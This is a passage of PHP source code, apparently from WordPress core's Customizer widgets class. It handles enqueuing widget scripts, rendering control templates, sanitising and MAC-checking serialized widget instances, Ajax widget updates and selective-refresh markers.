'admin_print_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts' ); } /** * Enqueues scripts and styles for Customizer panel and export data to JavaScript. * * @since 3.9.0 * * @global WP_Scripts $wp_scripts * @global array $wp_registered_sidebars * @global array $wp_registered_widgets */ public function enqueue_scripts() { global $wp_scripts, $wp_registered_sidebars, $wp_registered_widgets; wp_enqueue_style( 'customize-widgets' ); wp_enqueue_script( 'customize-widgets' ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_enqueue_scripts', 'widgets.php' ); /* * Export available widgets with control_tpl removed from model * since plugins need templates to be in the DOM. */ $available_widgets = array(); foreach ( $this->get_available_widgets() as $available_widget ) { unset( $available_widget['control_tpl'] ); $available_widgets[] = $available_widget; } $widget_reorder_nav_tpl = sprintf( '<div class="widget-reorder-nav"><span class="move-widget" tabindex="0">%1$s</span><span class="move-widget-down" tabindex="0">%2$s</span><span class="move-widget-up" tabindex="0">%3$s</span></div>', __( 'Move to another area…' ), __( 'Move down' ), __( 'Move up' ) ); $move_widget_area_tpl = str_replace( array( '{description}', '{btn}' ), array( __( 'Select an area to move this widget into:' ), _x( 'Move', 'Move widget' ), ), '<div class="move-widget-area"> <p class="description">{description}</p> <ul class="widget-area-select"> <% _.each( sidebars, function ( sidebar ){ %> <li class="" data-id="<%- sidebar.id %>" title="<%- sidebar.description %>" tabindex="0"><%- sidebar.name %></li> <% }); %> </ul> <div class="move-widget-actions"> <button class="move-widget-btn button" type="button">{btn}</button> </div> </div>' ); /* * Gather all strings in PHP that may be needed by JS on the client. * Once JS i18n is implemented (in #20491), this can be removed. */ $some_non_rendered_areas_messages = array(); $some_non_rendered_areas_messages[1] = html_entity_decode( __( 'Your theme has 1 other widget area, but this particular page doesn’t display it.' ), ENT_QUOTES, get_bloginfo( 'charset' ) ); $registered_sidebar_count = count( $wp_registered_sidebars ); for ( $non_rendered_count = 2; $non_rendered_count < $registered_sidebar_count; $non_rendered_count++ ) { $some_non_rendered_areas_messages[ $non_rendered_count ] = html_entity_decode( sprintf( /* translators: %s: The number of other widget areas registered but not rendered. */ _n( 'Your theme has %s other widget area, but this particular page doesn’t display it.', 'Your theme has %s other widget areas, but this particular page doesn’t display them.', $non_rendered_count ), number_format_i18n( $non_rendered_count ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } if ( 1 === $registered_sidebar_count ) { $no_areas_shown_message = html_entity_decode( sprintf( __( 'Your theme has 1 widget area, but this particular page doesn’t display it.' ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } else { $no_areas_shown_message = html_entity_decode( sprintf( /* translators: %s: The total number of widget areas registered. */ _n( 'Your theme has %s widget area, but this particular page doesn’t display it.', 'Your theme has %s widget areas, but this particular page doesn’t display them.', $registered_sidebar_count ), number_format_i18n( $registered_sidebar_count ) ), ENT_QUOTES, get_bloginfo( 'charset' ) ); } $settings = array( 'registeredSidebars' => array_values( $wp_registered_sidebars ), 'registeredWidgets' => $wp_registered_widgets, 'availableWidgets' => $available_widgets, // @todo Merge this with registered_widgets. 'l10n' => array( 'saveBtnLabel' => __( 'Apply' ), 'saveBtnTooltip' => __( 'Save and preview changes before publishing them.' ), 'removeBtnLabel' => __( 'Remove' ), 'removeBtnTooltip' => __( 'Keep widget settings and move it to the inactive widgets' ), 'error' => __( 'An error has occurred. Please reload the page and try again.' ), 'widgetMovedUp' => __( 'Widget moved up' ), 'widgetMovedDown' => __( 'Widget moved down' ), 'navigatePreview' => __( 'You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages.' ), 'someAreasShown' => $some_non_rendered_areas_messages, 'noAreasShown' => $no_areas_shown_message, 'reorderModeOn' => __( 'Reorder mode enabled' ), 'reorderModeOff' => __( 'Reorder mode closed' ), 'reorderLabelOn' => esc_attr__( 'Reorder widgets' ), /* translators: %d: The number of widgets found. */ 'widgetsFound' => __( 'Number of widgets found: %d' ), 'noWidgetsFound' => __( 'No widgets found.' ), ), 'tpl' => array( 'widgetReorderNav' => $widget_reorder_nav_tpl, 'moveWidgetArea' => $move_widget_area_tpl, ), 'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(), ); foreach ( $settings['registeredWidgets'] as &$registered_widget ) { unset( $registered_widget['callback'] ); // May not be JSON-serializeable. } $wp_scripts->add_data( 'customize-widgets', 'data', sprintf( 'var _wpCustomizeWidgetsSettings = %s;', wp_json_encode( $settings ) ) ); } /** * Renders the widget form control templates into the DOM. * * @since 3.9.0 */ public function output_widget_control_templates() { ?> <div id="widgets-left"><!-- compatibility with JS which looks for widget templates here --> <div id="available-widgets"> <div class="customize-section-title"> <button class="customize-section-back" tabindex="-1"> <span class="screen-reader-text"><?php _e( 'Back' ); ?></span> </button> <h3> <span class="customize-action"> <?php /* translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer. */ printf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'widgets' )->title ) ); ?> </span> <?php _e( 'Add a Widget' ); ?> </h3> </div> <div id="available-widgets-filter"> <label class="screen-reader-text" for="widgets-search"><?php _e( 'Search Widgets' ); ?></label> <input type="text" id="widgets-search" placeholder="<?php esc_attr_e( 'Search widgets…' ); ?>" aria-describedby="widgets-search-desc" /> <div class="search-icon" aria-hidden="true"></div> <button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button> <p class="screen-reader-text" id="widgets-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p> </div> <div id="available-widgets-list"> <?php foreach ( $this->get_available_widgets() as $available_widget ) : ?> <div id="widget-tpl-<?php echo esc_attr( $available_widget['id'] ); ?>" data-widget-id="<?php echo esc_attr( $available_widget['id'] ); ?>" class="widget-tpl <?php echo esc_attr( $available_widget['id'] ); ?>" tabindex="0"> <?php echo $available_widget['control_tpl']; ?> </div> <?php endforeach; ?> <p class="no-widgets-found-message"><?php _e( 'No widgets found.' ); ?></p> </div><!-- #available-widgets-list --> </div><!-- #available-widgets --> </div><!-- #widgets-left --> <?php } /** * Calls admin_print_footer_scripts and admin_print_scripts hooks to * allow custom scripts from plugins. * * @since 3.9.0 */ public function print_footer_scripts() { /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_print_footer_scripts-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_print_footer_scripts' ); /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_footer-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } /** * Retrieves common arguments to supply when constructing a Customizer setting. * * @since 3.9.0 * * @param string $id Widget setting ID. * @param array $overrides Array of setting overrides. * @return array Possibly modified setting arguments. */ public function get_setting_args( $id, $overrides = array() ) { $args = array( 'type' => 'option', 'capability' => 'edit_theme_options', 'default' => array(), ); if ( preg_match( $this->setting_id_patterns['sidebar_widgets'], $id, $matches ) ) { $args['sanitize_callback'] = array( $this, 'sanitize_sidebar_widgets' ); $args['sanitize_js_callback'] = array( $this, 'sanitize_sidebar_widgets_js_instance' ); $args['transport'] = current_theme_supports( 'customize-selective-refresh-widgets' ) ? 'postMessage' : 'refresh'; } elseif ( preg_match( $this->setting_id_patterns['widget_instance'], $id, $matches ) ) { $args['sanitize_callback'] = array( $this, 'sanitize_widget_instance' ); $args['sanitize_js_callback'] = array( $this, 'sanitize_widget_js_instance' ); $args['transport'] = $this->is_widget_selective_refreshable( $matches['id_base'] ) ? 'postMessage' : 'refresh'; } $args = array_merge( $args, $overrides ); /** * Filters the common arguments supplied when constructing a Customizer setting. * * @since 3.9.0 * * @see WP_Customize_Setting * * @param array $args Array of Customizer setting arguments. * @param string $id Widget setting ID. */ return apply_filters( 'widget_customizer_setting_args', $args, $id ); } /** * Ensures sidebar widget arrays only ever contain widget IDS. * * Used as the 'sanitize_callback' for each $sidebars_widgets setting. * * @since 3.9.0 * * @param string[] $widget_ids Array of widget IDs. * @return string[] Array of sanitized widget IDs. */ public function sanitize_sidebar_widgets( $widget_ids ) { $widget_ids = array_map( 'strval', (array) $widget_ids ); $sanitized_widget_ids = array(); foreach ( $widget_ids as $widget_id ) { $sanitized_widget_ids[] = preg_replace( '/[^a-z0-9_\-]/', '', $widget_id ); } return $sanitized_widget_ids; } /** * Builds up an index of all available widgets for use in Backbone models. * * @since 3.9.0 * * @global array $wp_registered_widgets * @global array $wp_registered_widget_controls * * @see wp_list_widgets() * * @return array List of available widgets. */ public function get_available_widgets() { static $available_widgets = array(); if ( ! empty( $available_widgets ) ) { return $available_widgets; } global $wp_registered_widgets, $wp_registered_widget_controls; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number(). $sort = $wp_registered_widgets; usort( $sort, array( $this, '_sort_name_callback' ) ); $done = array(); foreach ( $sort as $widget ) { if ( in_array( $widget['callback'], $done, true ) ) { // We already showed this multi-widget. continue; } $sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false ); $done[] = $widget['callback']; if ( ! isset( $widget['params'][0] ) ) { $widget['params'][0] = array(); } $available_widget = $widget; unset( $available_widget['callback'] ); // Not serializable to JSON. $args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template', ); $is_disabled = false; $is_multi_widget = ( isset( $wp_registered_widget_controls[ $widget['id'] ]['id_base'] ) && isset( $widget['params'][0]['number'] ) ); if ( $is_multi_widget ) { $id_base = $wp_registered_widget_controls[ $widget['id'] ]['id_base']; $args['_temp_id'] = "$id_base-__i__"; $args['_multi_num'] = next_widget_id_number( $id_base ); $args['_add'] = 'multi'; } else { $args['_add'] = 'single'; if ( $sidebar && 'wp_inactive_widgets' !== $sidebar ) { $is_disabled = true; } $id_base = $widget['id']; } $list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0], ) ); $control_tpl = $this->get_widget_control( $list_widget_controls_args ); // The properties here are mapped to the Backbone Widget model. $available_widget = array_merge( $available_widget, array( 'temp_id' => isset( $args['_temp_id'] ) ? $args['_temp_id'] : null, 'is_multi' => $is_multi_widget, 'control_tpl' => $control_tpl, 'multi_number' => ( 'multi' === $args['_add'] ) ? $args['_multi_num'] : false, 'is_disabled' => $is_disabled, 'id_base' => $id_base, 'transport' => $this->is_widget_selective_refreshable( $id_base ) ? 'postMessage' : 'refresh', 'width' => $wp_registered_widget_controls[ $widget['id'] ]['width'], 'height' => $wp_registered_widget_controls[ $widget['id'] ]['height'], 'is_wide' => $this->is_wide_widget( $widget['id'] ), ) ); $available_widgets[] = $available_widget; } return $available_widgets; } /** * Naturally orders available widgets by name. * * @since 3.9.0 * * @param array $widget_a The first widget to compare. * @param array $widget_b The second widget to compare. * @return int Reorder position for the current widget comparison. */ protected function _sort_name_callback( $widget_a, $widget_b ) { return strnatcasecmp( $widget_a['name'], $widget_b['name'] ); } /** * Retrieves the widget control markup. * * @since 3.9.0 * * @param array $args Widget control arguments. * @return string Widget control form HTML markup. */ public function get_widget_control( $args ) { $args[0]['before_form'] = '<div class="form">'; $args[0]['after_form'] = '</div><!-- .form -->'; $args[0]['before_widget_content'] = '<div class="widget-content">'; $args[0]['after_widget_content'] = '</div><!-- .widget-content -->'; ob_start(); wp_widget_control( ...$args ); $control_tpl = ob_get_clean(); return $control_tpl; } /** * Retrieves the widget control markup parts. * * @since 4.4.0 * * @param array $args Widget control arguments. * @return array { * @type string $control Markup for widget control wrapping form. * @type string $content The contents of the widget form itself. * } */ public function get_widget_control_parts( $args ) { $args[0]['before_widget_content'] = '<div class="widget-content">'; $args[0]['after_widget_content'] = '</div><!-- .widget-content -->'; $control_markup = $this->get_widget_control( $args ); $content_start_pos = strpos( $control_markup, $args[0]['before_widget_content'] ); $content_end_pos = strrpos( $control_markup, $args[0]['after_widget_content'] ); $control = substr( $control_markup, 0, $content_start_pos + strlen( $args[0]['before_widget_content'] ) ); $control .= substr( $control_markup, $content_end_pos ); $content = trim( substr( $control_markup, $content_start_pos + strlen( $args[0]['before_widget_content'] ), $content_end_pos - $content_start_pos - strlen( $args[0]['before_widget_content'] ) ) ); return compact( 'control', 'content' ); } /** * Adds hooks for the Customizer preview. * * @since 3.9.0 */ public function customize_preview_init() { add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue' ) ); add_action( 'wp_print_styles', array( $this, 'print_preview_css' ), 1 ); add_action( 'wp_footer', array( $this, 'export_preview_data' ), 20 ); } /** * Refreshes the nonce for widget updates. * * @since 4.2.0 * * @param array $nonces Array of nonces. * @return array Array of nonces. */ public function refresh_nonces( $nonces ) { $nonces['update-widget'] = wp_create_nonce( 'update-widget' ); return $nonces; } /** * When previewing, ensures the proper previewing widgets are used. * * Because wp_get_sidebars_widgets() gets called early at {@see 'init' } (via * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets` * to the value of `get_option( 'sidebars_widgets' )` before the Customizer preview * filter is added, it has to be reset after the filter has been added. * * @since 3.9.0 * * @param array $sidebars_widgets List of widgets for the current sidebar. * @return array */ public function preview_sidebars_widgets( $sidebars_widgets ) { $sidebars_widgets = get_option( 'sidebars_widgets', array() ); unset( $sidebars_widgets['array_version'] ); return $sidebars_widgets; } /** * Enqueues scripts for the Customizer preview. * * @since 3.9.0 */ public function customize_preview_enqueue() { wp_enqueue_script( 'customize-preview-widgets' ); } /** * Inserts default style for highlighted widget at early point so theme * stylesheet can override. * * @since 3.9.0 */ public function print_preview_css() { ?> <style> .widget-customizer-highlighted-widget { outline: none; -webkit-box-shadow: 0 0 2px rgba(30, 140, 190, 0.8); box-shadow: 0 0 2px rgba(30, 140, 190, 0.8); position: relative; z-index: 1; } </style> <?php } /** * Communicates the sidebars that appeared on the page at the very end of the page, * and at the very end of the wp_footer, * * @since 3.9.0 * * @global array $wp_registered_sidebars * @global array $wp_registered_widgets */ public function export_preview_data() { global $wp_registered_sidebars, $wp_registered_widgets; $switched_locale = switch_to_locale( get_user_locale() ); $l10n = array( 'widgetTooltip' => __( 'Shift-click to edit this widget.' ), ); if ( $switched_locale ) { restore_previous_locale(); } $rendered_sidebars = array_filter( $this->rendered_sidebars ); $rendered_widgets = array_filter( $this->rendered_widgets ); // Prepare Customizer settings to pass to JavaScript. $settings = array( 'renderedSidebars' => array_fill_keys( array_keys( $rendered_sidebars ), true ), 'renderedWidgets' => array_fill_keys( array_keys( $rendered_widgets ), true ), 'registeredSidebars' => array_values( $wp_registered_sidebars ), 'registeredWidgets' => $wp_registered_widgets, 'l10n' => $l10n, 'selectiveRefreshableWidgets' => $this->get_selective_refreshable_widgets(), ); foreach ( $settings['registeredWidgets'] as &$registered_widget ) { unset( $registered_widget['callback'] ); // May not be JSON-serializeable. } ?> <script type="text/javascript"> var _wpWidgetCustomizerPreviewSettings = <?php echo wp_json_encode( $settings ); ?>; </script> <?php } /** * Tracks the widgets that were rendered. * * @since 3.9.0 * * @param array $widget Rendered widget to tally. */ public function tally_rendered_widgets( $widget ) { $this->rendered_widgets[ $widget['id'] ] = true; } /** * Determine if a widget is rendered on the page. * * @since 4.0.0 * * @param string $widget_id Widget ID to check. * @return bool Whether the widget is rendered. */ public function is_widget_rendered( $widget_id ) { return ! empty( $this->rendered_widgets[ $widget_id ] ); } /** * Determines if a sidebar is rendered on the page. * * @since 4.0.0 * * @param string $sidebar_id Sidebar ID to check. * @return bool Whether the sidebar is rendered. */ public function is_sidebar_rendered( $sidebar_id ) { return ! empty( $this->rendered_sidebars[ $sidebar_id ] ); } /** * Tallies the sidebars rendered via is_active_sidebar(). * * Keep track of the times that is_active_sidebar() is called in the template, * and assume that this means that the sidebar would be rendered on the template * if there were widgets populating it. * * @since 3.9.0 * * @param bool $is_active Whether the sidebar is active. * @param string $sidebar_id Sidebar ID. * @return bool Whether the sidebar is active. */ public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) { if ( is_registered_sidebar( $sidebar_id ) ) { $this->rendered_sidebars[ $sidebar_id ] = true; } /* * We may need to force this to true, and also force-true the value * for 'dynamic_sidebar_has_widgets' if we want to ensure that there * is an area to drop widgets into, if the sidebar is empty. */ return $is_active; } /** * Tallies the sidebars rendered via dynamic_sidebar(). * * Keep track of the times that dynamic_sidebar() is called in the template, * and assume this means the sidebar would be rendered on the template if * there were widgets populating it. * * @since 3.9.0 * * @param bool $has_widgets Whether the current sidebar has widgets. * @param string $sidebar_id Sidebar ID. * @return bool Whether the current sidebar has widgets. */ public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) { if ( is_registered_sidebar( $sidebar_id ) ) { $this->rendered_sidebars[ $sidebar_id ] = true; } /* * We may need to force this to true, and also force-true the value * for 'is_active_sidebar' if we want to ensure there is an area to * drop widgets into, if the sidebar is empty. */ return $has_widgets; } /** * Retrieves MAC for a serialized widget instance string. * * Allows values posted back from JS to be rejected if any tampering of the * data has occurred. * * @since 3.9.0 * * @param string $serialized_instance Widget instance. * @return string MAC for serialized widget instance. */ protected function get_instance_hash_key( $serialized_instance ) { return wp_hash( $serialized_instance ); } /** * Sanitizes a widget instance. * * Unserialize the JS-instance for storing in the options. It's important that this filter * only get applied to an instance *once*. * * @since 3.9.0 * * @param array $value Widget instance to sanitize. * @return array|void Sanitized widget instance. */ public function sanitize_widget_instance( $value ) { if ( array() === $value ) { return $value; } if ( empty( $value['is_widget_customizer_js_value'] ) || empty( $value['instance_hash_key'] ) || empty( $value['encoded_serialized_instance'] ) ) { return; } $decoded = base64_decode( $value['encoded_serialized_instance'], true ); if ( false === $decoded ) { return; } if ( ! hash_equals( $this->get_instance_hash_key( $decoded ), $value['instance_hash_key'] ) ) { return; } $instance = unserialize( $decoded ); if ( false === $instance ) { return; } return $instance; } /** * Converts a widget instance into JSON-representable format. * * @since 3.9.0 * * @param array $value Widget instance to convert to JSON. * @return array JSON-converted widget instance. */ public function sanitize_widget_js_instance( $value ) { if ( empty( $value['is_widget_customizer_js_value'] ) ) { $serialized = serialize( $value ); $value = array( 'encoded_serialized_instance' => base64_encode( $serialized ), 'title' => empty( $value['title'] ) ? '' : $value['title'], 'is_widget_customizer_js_value' => true, 'instance_hash_key' => $this->get_instance_hash_key( $serialized ), ); } return $value; } /** * Strips out widget IDs for widgets which are no longer registered. * * One example where this might happen is when a plugin orphans a widget * in a sidebar upon deactivation. * * @since 3.9.0 * * @global array $wp_registered_widgets * * @param array $widget_ids List of widget IDs. * @return array Parsed list of widget IDs. */ public function sanitize_sidebar_widgets_js_instance( $widget_ids ) { global $wp_registered_widgets; $widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) ); return $widget_ids; } /** * Finds and invokes the widget update and control callbacks. * * Requires that `$_POST` be populated with the instance data. * * @since 3.9.0 * * @global array $wp_registered_widget_updates * @global array $wp_registered_widget_controls * * @param string $widget_id Widget ID. * @return array|WP_Error Array containing the updated widget information. * A WP_Error object, otherwise. */ public function call_widget_update( $widget_id ) { global $wp_registered_widget_updates, $wp_registered_widget_controls; $setting_id = $this->get_setting_id( $widget_id ); /* * Make sure that other setting changes have previewed since this widget * may depend on them (e.g. Menus being present for Navigation Menu widget). */ if ( ! did_action( 'customize_preview_init' ) ) { foreach ( $this->manager->settings() as $setting ) { if ( $setting->id !== $setting_id ) { $setting->preview(); } } } $this->start_capturing_option_updates(); $parsed_id = $this->parse_widget_id( $widget_id ); $option_name = 'widget_' . $parsed_id['id_base']; /* * If a previously-sanitized instance is provided, populate the input vars * with its values so that the widget update callback will read this instance */ $added_input_vars = array(); if ( ! empty( $_POST['sanitized_widget_setting'] ) ) { $sanitized_widget_setting = json_decode( $this->get_post_value( 'sanitized_widget_setting' ), true ); if ( false === $sanitized_widget_setting ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_malformed' ); } $instance = $this->sanitize_widget_instance( $sanitized_widget_setting ); if ( is_null( $instance ) ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_unsanitized' ); } if ( ! is_null( $parsed_id['number'] ) ) { $value = array(); $value[ $parsed_id['number'] ] = $instance; $key = 'widget-' . $parsed_id['id_base']; $_REQUEST[ $key ] = wp_slash( $value ); $_POST[ $key ] = $_REQUEST[ $key ]; $added_input_vars[] = $key; } else { foreach ( $instance as $key => $value ) { $_REQUEST[ $key ] = wp_slash( $value ); $_POST[ $key ] = $_REQUEST[ $key ]; $added_input_vars[] = $key; } } } // Invoke the widget update callback. foreach ( (array) $wp_registered_widget_updates as $name => $control ) { if ( $name === $parsed_id['id_base'] && is_callable( $control['callback'] ) ) { ob_start(); call_user_func_array( $control['callback'], $control['params'] ); ob_end_clean(); break; } } // Clean up any input vars that were manually added. foreach ( $added_input_vars as $key ) { unset( $_POST[ $key ] ); unset( $_REQUEST[ $key ] ); } // Make sure the expected option was updated. if ( 0 !== $this->count_captured_options() ) { if ( $this->count_captured_options() > 1 ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_too_many_options' ); } $updated_option_name = key( $this->get_captured_options() ); if ( $updated_option_name !== $option_name ) { $this->stop_capturing_option_updates(); return new WP_Error( 'widget_setting_unexpected_option' ); } } // Obtain the widget instance. $option = $this->get_captured_option( $option_name ); if ( null !== $parsed_id['number'] ) { $instance = $option[ $parsed_id['number'] ]; } else { $instance = $option; } /* * Override the incoming $_POST['customized'] for a newly-created widget's * setting with the new $instance so that the preview filter currently * in place from WP_Customize_Setting::preview() will use this value * instead of the default widget instance value (an empty array). */ $this->manager->set_post_value( $setting_id, $this->sanitize_widget_js_instance( $instance ) ); // Obtain the widget control with the updated instance in place. ob_start(); $form = $wp_registered_widget_controls[ $widget_id ]; if ( $form ) { call_user_func_array( $form['callback'], $form['params'] ); } $form = ob_get_clean(); $this->stop_capturing_option_updates(); return compact( 'instance', 'form' ); } /** * Updates widget settings asynchronously. * * Allows the Customizer to update a widget using its form, but return the new * instance info via Ajax instead of saving it to the options table. * * Most code here copied from wp_ajax_save_widget(). * * @since 3.9.0 * * @see wp_ajax_save_widget() */ public function wp_ajax_update_widget() { if ( ! is_user_logged_in() ) { wp_die( 0 ); } check_ajax_referer( 'update-widget', 'nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } if ( empty( $_POST['widget-id'] ) ) { wp_send_json_error( 'missing_widget-id' ); } /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/includes/ajax-actions.php */ do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores /** This action is documented in wp-admin/widgets.php */ do_action( 'sidebar_admin_setup' ); $widget_id = $this->get_post_value( 'widget-id' ); $parsed_id = $this->parse_widget_id( $widget_id ); $id_base = $parsed_id['id_base']; $is_updating_widget_template = ( isset( $_POST[ 'widget-' . $id_base ] ) && is_array( $_POST[ 'widget-' . $id_base ] ) && preg_match( '/__i__|%i%/', key( $_POST[ 'widget-' . $id_base ] ) ) ); if ( $is_updating_widget_template ) { wp_send_json_error( 'template_widget_not_updatable' ); } $updated_widget = $this->call_widget_update( $widget_id ); // => {instance,form} if ( is_wp_error( $updated_widget ) ) { wp_send_json_error( $updated_widget->get_error_code() ); } $form = $updated_widget['form']; $instance = $this->sanitize_widget_js_instance( $updated_widget['instance'] ); wp_send_json_success( compact( 'form', 'instance' ) ); } /* * Selective Refresh Methods */ /** * Filters arguments for dynamic widget partials. * * @since 4.5.0 * * @param array|false $partial_args Partial arguments. * @param string $partial_id Partial ID. * @return array (Maybe) modified partial arguments. */ public function customize_dynamic_partial_args( $partial_args, $partial_id ) { if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return $partial_args; } if ( preg_match( '/^widget\[(?P<widget_id>.+)\]$/', $partial_id, $matches ) ) { if ( false === $partial_args ) { $partial_args = array(); } $partial_args = array_merge( $partial_args, array( 'type' => 'widget', 'render_callback' => array( $this, 'render_widget_partial' ), 'container_inclusive' => true, 'settings' => array( $this->get_setting_id( $matches['widget_id'] ) ), 'capability' => 'edit_theme_options', ) ); } return $partial_args; } /** * Adds hooks for selective refresh. * * @since 4.5.0 */ public function selective_refresh_init() { if ( ! current_theme_supports( 'customize-selective-refresh-widgets' ) ) { return; } add_filter( 'dynamic_sidebar_params', array( $this, 'filter_dynamic_sidebar_params' ) ); add_filter( 'wp_kses_allowed_html', array( $this, 'filter_wp_kses_allowed_data_attributes' ) ); add_action( 'dynamic_sidebar_before', array( $this, 'start_dynamic_sidebar' ) ); add_action( 'dynamic_sidebar_after', array( $this, 'end_dynamic_sidebar' ) ); } /** * Inject selective refresh data attributes into widget container elements. * * @since 4.5.0 * * @param array $params { * Dynamic sidebar params. * * @type array $args Sidebar args. * @type array $widget_args Widget args. * } * @see WP_Customize_Nav_Menus::filter_wp_nav_menu_args() * * @return array Params. */ public function filter_dynamic_sidebar_params( $params ) { $sidebar_args = array_merge( array( 'before_widget' => '', 'after_widget' => '', ), $params[0] ); // Skip widgets not in a registered sidebar or ones which lack a proper wrapper element to attach the data-* attributes to. $matches = array(); $is_valid = ( isset( $sidebar_args['id'] ) && is_registered_sidebar( $sidebar_args['id'] ) && ( isset( $this->current_dynamic_sidebar_id_stack[0] ) && $this->current_dynamic_sidebar_id_stack[0] === $sidebar_args['id'] ) && preg_match( '#^<(?P<tag_name>\w+)#', $sidebar_args['before_widget'], $matches ) ); if ( ! $is_valid ) { return $params; } $this->before_widget_tags_seen[ $matches['tag_name'] ] = true; $context = array( 'sidebar_id' => $sidebar_args['id'], ); if ( isset( $this->context_sidebar_instance_number ) ) { $context['sidebar_instance_number'] = $this->context_sidebar_instance_number; } elseif ( isset( $sidebar_args['id'] ) && isset( $this->sidebar_instance_count[ $sidebar_args['id'] ] ) ) { $context['sidebar_instance_number'] = $this->sidebar_instance_count[ $sidebar_args['id'] ]; } $attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'widget[' . $sidebar_args['widget_id'] . ']' ) ); $attributes .= ' data-customize-partial-type="widget"'; $attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $context ) ) ); $attributes .= sprintf( ' data-customize-widget-id="%s"', esc_attr( $sidebar_args['widget_id'] ) ); $sidebar_args['before_widget'] = preg_replace( '#^(<\w+)#', '$1 ' . $attributes, $sidebar_args['before_widget'] ); $params[0] = $sidebar_args; return $params; } /** * List of the tag names seen for before_widget strings. * * This is used in the {@see 'filter_wp_kses_allowed_html'} filter to ensure that the * data-* attributes can be allowed. * * @since 4.5.0 * @var array */ protected $before_widget_tags_seen = array(); /** * Ensures the HTML data-* attributes for selective refresh are allowed by kses. * * This is needed in case the `$before_widget` is run through wp_kses() when printed. * * @since 4.5.0 * * @param array $allowed_html Allowed HTML. * @return array (Maybe) modified allowed HTML. */ public function filter_wp_kses_allowed_data_attributes( $allowed_html ) { foreach ( array_keys( $this->before_widget_tags_seen ) as $tag_name ) { if ( ! isset( $allowed_html[ $tag_name ] ) ) { $allowed_html[ $tag_name ] = array(); } $allowed_html[ $tag_name ] = array_merge( $allowed_html[ $tag_name ], array_fill_keys( array( 'data-customize-partial-id', 'data-customize-partial-type', 'data-customize-partial-placement-context', 'data-customize-partial-widget-id', 'data-customize-partial-options', ), true ) ); } return $allowed_html; } /** * Keep track of the number of times that dynamic_sidebar() was called for a given sidebar index. * * This helps facilitate the uncommon scenario where a single sidebar is rendered multiple times on a template. * * @since 4.5.0 * @var array */ protected $sidebar_instance_count = array(); /** * The current request's sidebar_instance_number context. * * @since 4.5.0 * @var int|null */ protected $context_sidebar_instance_number; /** * Current sidebar ID being rendered. * * @since 4.5.0 * @var array */ protected $current_dynamic_sidebar_id_stack = array(); /** * Begins keeping track of the current sidebar being rendered. * * Insert marker before widgets are rendered in a dynamic sidebar. * * @since 4.5.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ public function start_dynamic_sidebar( $index ) { array_unshift( $this->current_dynamic_sidebar_id_stack, $index ); if ( ! isset( $this->sidebar_instance_count[ $index ] ) ) { $this->sidebar_instance_count[ $index ] = 0; } $this->sidebar_instance_count[ $index ] += 1; if ( ! $this->manager->selective_refresh->is_render_partials_request() ) { printf( "\n<!--dynamic_sidebar_before:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] ); } } /** * Finishes keeping track of the current sidebar being rendered. * * Inserts a marker after widgets are rendered in a dynamic sidebar. * * @since 4.5.0 * * @param int|string $index Index, name, or ID of the dynamic sidebar. */ public function end_dynamic_sidebar( $index ) { array_shift( $this->current_dynamic_sidebar_id_stack ); if ( ! $this->manager->selective_refresh->is_render_partials_request() ) { printf( "\n<!--dynamic_sidebar_after:%s:%d-->\n", esc_html( $index ), (int) $this->sidebar_instance_count[ $index ] ); } } /** * Current sidebar being rendered. * * @since 4.5.0 * @var string|null */ protected $rendering_widget_id; /** * Current widget being rendered. * * @since 4.5.0 * @var string|null */ protected $rendering_sidebar_id; /** * Filters sidebars_widgets to ensure the currently-rendered widget is the only widget in the current sidebar. * * @since 4.5.0 * * @param array $sidebars_widgets Sidebars widgets. * @return array Filtered sidebars widgets. */ public function filter_sidebars_widgets_for_rendering_widget( $sidebars_widgets ) { $sidebars_widgets[ $this->rendering_sidebar_id ] = array( $this->rendering_widget_id ); return $sidebars_widgets; } /** * Renders a specific widget using the supplied sidebar arguments. * * @since 4.5.0 * * @see dynamic_sidebar() * * @param WP_Customize_Partial $partial Partial. * @param array $context { * Sidebar args supplied as container context. * * @type string $sidebar_id ID for sidebar for widget to render into. * @type int $sidebar_instance_number Disambiguating instance number. * } * @return string|false */ public function 